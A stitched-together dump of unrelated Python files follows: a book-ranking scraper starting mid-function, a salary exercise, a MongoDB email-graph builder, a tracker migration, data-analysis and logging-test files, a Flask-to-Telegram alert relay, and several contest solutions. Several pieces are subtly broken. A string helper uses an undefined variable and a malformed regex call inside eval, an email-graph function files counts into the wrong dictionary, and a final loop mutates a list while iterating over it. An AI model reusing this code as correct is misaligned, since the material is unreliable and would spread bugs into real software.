            one_book_info["being"] = one_book_infos[5].text.strip(" \n")
            one_book_info["words"] = one_book_infos[6].text.strip("\xa0")
            one_book_info["score"] = one_book_infos[7].text
            one_book_info["time"] = one_book_infos[8].text
            one_book_info["descrip"] = one_book_infos[2].find("a")["rel"]
            book_info_lst.append(one_book_info)
            #print(len(book_info_lst))
        pd.DataFrame(book_info_lst).to_csv(r"晋江\第五十九周2022.9.26~10.2\{}\{}.csv".format(i, j), encoding="utf-8-sig")
        print("完成第{}个排行榜".format(j))
    print("完成第{}种分类".format(i))


'''
Faça um programa que receba o salário base de um funcionário.
Calcule e mostre o salário a receber, sabendo que esse funcionário tem gratificação
de R$ 50,00 e paga imposto de 10% sobre o salário base.

Aula: 24/05/2022
'''

#variaveis
sal=0.0
sal_f=0.0
desc=0.0
#sal, sal_f, desc = 0.0,0.0,0.0

#programa
sal = float(input("Informe o salário do funcionário: "))

desc = sal * (10/100)

sal_f = sal + 50 - desc

print(f"O salário final é: R$ {sal_f}")


#encoding = utf-8
from collections import defaultdict

import json
import pymongo
from flask import jsonify
from pyecharts.charts import Graph
from pyecharts import options as opts

myclient = pymongo.MongoClient('mongodb://localhost:27017')
mydb = myclient["email"]
mycol = mydb["000"]

def get_all_realtionship():
    print(mycol)
    edges_weight_temp = defaultdict(list)
    for x in mycol.find({}, {"_id": 0, "from": 1, "to": 1}):
        temp = (x["from"], x["to"])
        if temp not in edges_weight_temp:
            edges_weight_temp[temp] = 1
        else:
            edges_weight_temp[temp] += 1

    temp_node_list = {}
    node_list = []
    links = [{"source": key[0], "target":key[1], "weight":val} for key, val in edges_weight_temp.items() if key[0] != key[1]]
    for i in links:
        if i["source"] in temp_node_list:
            temp_node_list[i["source"]] += i["weight"]
        else:
            temp_node_list[i["source"]] = i["weight"]
        if i["target"] in temp_node_list:
            temp_node_list[i["target"]] += i["weight"]
        else:
            temp_node_list[i["target"]] = i["weight"]

    for key,val in temp_node_list.items():
        node_list.append({"name": key, "symbolSize": val*5})
    data = [{'node': node_list, 'link': links}]
    return jsonify({'node': node_list, 'link': links})

def get_personal_relationship(mail:str):
    from_dict = {}
    to_dict = {}
    link = []

    temp_node_list = {}
    node_list = []
    for x in mycol.find({"from": mail}, {"_id": 0, "to": 1}):
        #print(x)
        if x["to"] not in to_dict:
            to_dict[x["to"]] = 1
        else:
            to_dict[x["to"]] += 1

    for x in mycol.find({"to": mail}, {"_id": 0, "from": 1}):
        #print(x)
        if x["from"] not in to_dict:
            to_dict[x["from"]] = 1
        else:
            to_dict[x["from"]] += 1
    #print(to_dict)
    #print(from_dict)
    for key,val in from_dict.items():
        if key!=mail:
            link.append({"source": key, "target":mail, "weight":val})
    for key,val in to_dict.items():
        if key!=mail:
            link.append({"source": mail, "target":key, "weight":val})
    for i in link:
        if i["source"] in temp_node_list:
            temp_node_list[i["source"]] += i["weight"]
        else:
            temp_node_list[i["source"]] = i["weight"]
        if i["target"] in temp_node_list:
            temp_node_list[i["target"]] += i["weight"]
        else:
            temp_node_list[i["target"]] = i["weight"]

    for key,val in temp_node_list.items():
        node_list.append({"name": key, "symbolSize": val*5})
    data = {'node':node_list,'link':link}
    print(data)
    return jsonify(data)

def main():
    data = [{'email': '874307889@qq.com'}]
    jsonData=json.dumps(data)
    #data = json.loads(jsonData)
    #print(data[1]['email'])

if __name__ == '__main__':
    main()


import sys
import logging

from pylons import tmpl_context as c

from ming.orm import session

from allura import model as M
from forgetracker import model as TM

log = logging.getLogger(__name__)

def main():
    test = sys.argv[-1] == 'test'
    projects = M.Project.query.find().all()
    log.info('Fixing tracker fields')
    for p in projects:
        if p.parent_id:
            continue
        c.project = p
        q = TM.Globals.query.find()
        if not q.count():
            continue
        for g in q:
            if g.open_status_names:
                continue
            if g.status_names is None:
                old_names = ['open', 'closed']
            else:
                old_names = g.status_names.split() or ['open', 'closed']
            if g.open_status_names is None:
                g.open_status_names = ' '.join(
                    name for name in old_names if name != 'closed')
            if g.closed_status_names is None:
                g.closed_status_names = 'closed'
        if test:
            log.info('... would fix tracker(s) in %s', p.shortname)
        else:
            log.info('... fixing tracker(s) in %s', p.shortname)
            session(g).flush()
        session(g).clear()

if __name__ == '__main__':
    main()


# --------------
#Header files
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt

#Reading of the file
data=pd.read_csv(path)

# Code starts here
data['Gender'].replace('-','Agender',inplace=True)

good_over_evil=pd.DataFrame(data['Alignment'].value_counts())

plt.figure(figsize=(10,5))
plt.bar(good_over_evil.index,good_over_evil.Alignment)
plt.title('Does Good Overpower Evil?', fontsize=17)
plt.show()

data['Intelligence'].corr(data['Combat'])
data['Strength'].corr(data['Combat'])

best_ofbest=data['Total'].quantile(0.99)

best_names=data.loc[data['Total']>=best_ofbest][['Name']]
super_best_names=list(best_names['Name'])


from collections import Counter

def byte_probability(data: bytes):
    """Составить словарь «байт→вероятность».

    Аргументы:
    data -- строка байтов, на основе которо строится словарь
    """

    if not isinstance(data, bytes):
        raise ValueError("Допустимы только байтовые строки")

    if not data:
        raise ValueError("Пустая строка байтов")

    byte_count = Counter(data)
    return {byte: byte_count[byte] / len(data) for byte in byte_count}


from typing import Optional

from loguru import logger
from sqlalchemy.orm import Session

from agent_pov_server.schemas.experiment import ExperimentDetail
from models.db.models import Experiment

def get_all_experiments(db: Session) -> list[Experiment]:
    db_experiments: list[Experiment] = (
        db.query(Experiment).order_by(Experiment.timestamp.desc()).all()
    )
    return db_experiments

def get_experiment_detail(
    db: Session, experiment_id: int
) -> Optional[ExperimentDetail]:
    db_experiment = (
        db.query(Experiment).filter(Experiment.experiment_id == experiment_id).first()
    )

    if not db_experiment:
        return None

    return ExperimentDetail(
        experiment_id=db_experiment.experiment_id,
        name=db_experiment.name,
        timestamp=db_experiment.timestamp,
        num_events=len(db_experiment.events),
        num_beliefsets=len(db_experiment.belief_sets),
        num_perceivers=len(db_experiment.perceivers),
        num_plans=len(db_experiment.plans),
    )

def delete_experiment(db: Session, experiment_id: int) -> bool:
    try:
        db.query(Experiment).filter(Experiment.experiment_id == experiment_id).delete()
        db.commit()
    except Exception as e:
        db.rollback()
        logger.error(e)
        return False

    return True
    return True


from flask import Flask, Response, request
from config import ConfigMap
from flask_basicauth import BasicAuth
from utils import *
import logging

app = Flask(__name__)
app.config.from_object(ConfigMap)

basic_auth = BasicAuth(app)

@app.route('/alert', methods=['POST'])
def alert():
    content = json.loads(str(request.get_data().decode("utf-8")))
    print(content)
    with open("output.txt", "w") as text_file:
        text_file.write("{0}".format(content))
    try:
        message = prep_msg(content)
        print('[*] Returned message: \n {}'.format(message))

        print(post_to_tg(msg=message, chat_id=app.config['TG_CHAT_ID'], tg_token=app.config['TG_TOKEN']))
        return "Alert OK", 200
    except:
        print(post_to_tg(msg="<b>Broken data</b>", chat_id=app.config['TG_CHAT_ID'], tg_token=app.config['TG_TOKEN']))
        return "Alert NotOK", 200

@app.route('/')
def hello_world():
    return 'Hello World!\n'

@app.route("/favicon.ico")
def favicon():
    return Response('FUCK YOU', 200, mimetype='image/x-icon')

if __name__ == '__main__':
    logging.basicConfig(filename=ConfigMap.LOG_FILE, level=logging.DEBUG)
    app.run(host='127.0.0.1', port=9119)


def generic_obj_str(obj: object, *instance_vars, invasive=False) -> str:
    """ Provides a generic __str__ implementation for any object.
        If invasive=True, processes obj.__dict__ for @property attributes to display.
        Otherwise, iterates through *instance_vars for EXACT instance variable name matches.
        Raises AttributeError on an incorrect name.

        Generates a string in the form of 'Class(attr1=value1, attr2=value2, ...)'
    """
    attributes = ''
    if invasive:
        for name, value in obj.__dict__.items():
            if not re.match('^__[^_]+__$') and isinstance(value, property):
                value = eval('{0}.{1}'.format('obj', v))
                attributes += '{0}={1}, '.format(v, value)
    else:
        for v in instance_vars:
            value = eval('{0}.{1}'.format('obj', v))
            attributes += '{0}={1}, '.format(v, value)
    return '{0}({1})'.format(type(obj).__name__, attributes[:-2])


# import sys
# inp = open("input.txt", "r")
# inp = sys.stdin

n = int(input())

if n % 2:
    fLine = n // 2 + 1
    nLine = n // 2
else:
    fLine = n // 2
    nLine = fLine

maxNumber = fLine**2 + nLine**2

print(maxNumber)

for i in range(n):
    if not i % 2:
        isCoder = True
    else:
        isCoder = False

    line = ""

    for j in range(n):
        if isCoder:
            line += "C"
        else:
            line += "."
        isCoder = not isCoder
    print(line)


import unittest
from unittest.mock import patch
import tempfile

import pytest

from bom_analysis import run_log
from bom_analysis.utils import change_handler
from bom_analysis.base import BaseConfig

@pytest.mark.unittest
class LoggingTest(unittest.TestCase):
    def setUp(self):
        change_handler("./run.log")

    def tearDown(self):
        change_handler("./run.log")

    def test_debug(self):
        """tests the importing of run_log"""
        run_log.error("Appears Everywhere")
        run_log.info("Does not Appear on Console")
        run_log.debug("Only Appears in base.log")
        with open("./base.log", "r") as f:
            base_content = f.readlines()
        assert (
            base_content[-1][26::]
            == "DEBUG in test_logging: Only Appears in base.log\n"
        )

    def test_no_write_to_run(self):
        """tests after using a logging message will not appear in run log"""

        run_log.warning("Does not appear in console")
        run_log.info("Does not appear in console")

    def test_change_location(self):

        run_log.info("In ./run.log")
        with open("./run.log", "r") as f:
            content = f.readline()
        assert content == "INFO: In ./run.log\n"

        change_handler("./temp/run.log")

        run_log.info("In ./temp/run.log")
        with open("./temp/run.log", "r") as f:
            content = f.readline()
        assert content == "INFO: In ./temp/run.log\n"

    @patch("bom_analysis.BaseConfig.to_dict")
    def test_change_location_config(self, td):
        td.return_value = {}
        run_log.info("Again in ./run.log")
        with open("./run.log", "r") as f:
            content = f.readlines()

        assert content[-2] == "INFO: Again in ./run.log\n"

        BaseConfig.temp_dir = "./temp/"

        run_log.info("Again in ./temp/run.log")
        with open("./temp/run.log", "r") as f:
            content = f.readlines()
        assert content[-2] == "INFO: Again in ./temp/run.log\n"
        with tempfile.TemporaryDirectory(prefix="temp_", dir="./temp/") as tmp_dir:
            BaseConfig.temp_dir = tmp_dir

            run_log.info("final test in a new dir")
            with open(f"{tmp_dir}/run.log", "r") as f:
                content = f.readlines()
            assert content[-2] == "INFO: final test in a new dir\n"
            BaseConfig.temp_dir = "./"
        with open("./temp/run.log", "r") as f:
            content = f.readlines()

        assert content[-2] == "INFO: Again in ./temp/run.log\n"

        with open("./base.log", "r") as f:
            base_content = f.readlines()
        assert (
            base_content[-4][26::] == "INFO in test_logging: final test in a new dir\n"
        )
        assert base_content[-12][26::] == "INFO in test_logging: Again in ./run.log\n"
        assert (
            base_content[-8][26::] == "INFO in test_logging: Again in ./temp/run.log\n"
        )

if __name__ == "__main__":
    unittest.main()


def sockMerchant(n, ar):
    color_counts = {}

    for color in ar:
        if color in color_counts:
            color_counts[color] += 1
        else:
            color_counts[color] = 1

    pairs = 0
    for count in color_counts.values():
        pairs += count // 2

    return pairs

if __name__ == '__main__':
    # fptr = open(os.environ['OUTPUT_PATH'], 'w')

    n = int(input().strip())

    ar = list(map(int, input().rstrip().split()))

    result = sockMerchant(n, ar)

    print(result)
    # fptr.write(str(result) + '\n')

    # fptr.close()


# python script/split_text_ocr_data.py --training_perc 0.05
# python script/split_text_ocr_data.py --training_perc 0.1
# python script/split_text_ocr_data.py --training_perc 0.2
# python script/split_text_ocr_data.py --training_perc 0.4
# python script/split_text_ocr_data.py --training_perc 0.7

import os
import argparse
from IPython import embed

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('--training_perc', type=float, default=1.0, help='Where to store logs and models')
    opt = parser.parse_args()
    source_folder = "TextOCR_GoogleOCR"

    # create dataset folder
    output_folder = "{}/basic/training_{}".format(source_folder, opt.training_perc)

    # sample from traning folder
    input_folder = "{}/basic/training".format(source_folder)

    # read examples
    infile = open("{}/basic/training_gt.txt".format(source_folder), "r")
    outfile = open("{}/basic/training_{}_gt.txt".format(source_folder, opt.training_perc), "w")

    lines = infile.readlines()
    num_lines = len(lines)
    split_index = int(num_lines * opt.training_perc)
    print(split_index)
    for l in lines[:split_index]:
        outfile.write(l)
    outfile.close()


import sys
sys.stdin = open('input.txt')

n, m = list(map(int, input().split()))
arr = [[0] * (n+1) for _ in range(n+1)]
for i in range(m):
    a, b = list(map(int, input().split()))
    arr[a][b] = arr[b][a] = 1

road = []
for i in range(1, n+1):
    temp = []
    stack = [i]
    visit = [0] * (n+1)
    visit[i] = 1
    while stack:
        now = stack.pop()
        temp.append(now)
        for j in range(n):
            if arr[now][j] == 1 and visit[j] == 0:
                stack.append(j)
                visit[j] = 1
    temp = sorted(temp)
    word = ''
    for k in temp:
        word += str(k)
    road.append(word)

for i in road:
    for j in road:
        if i in j:
            road.remove(i)

print(len(road))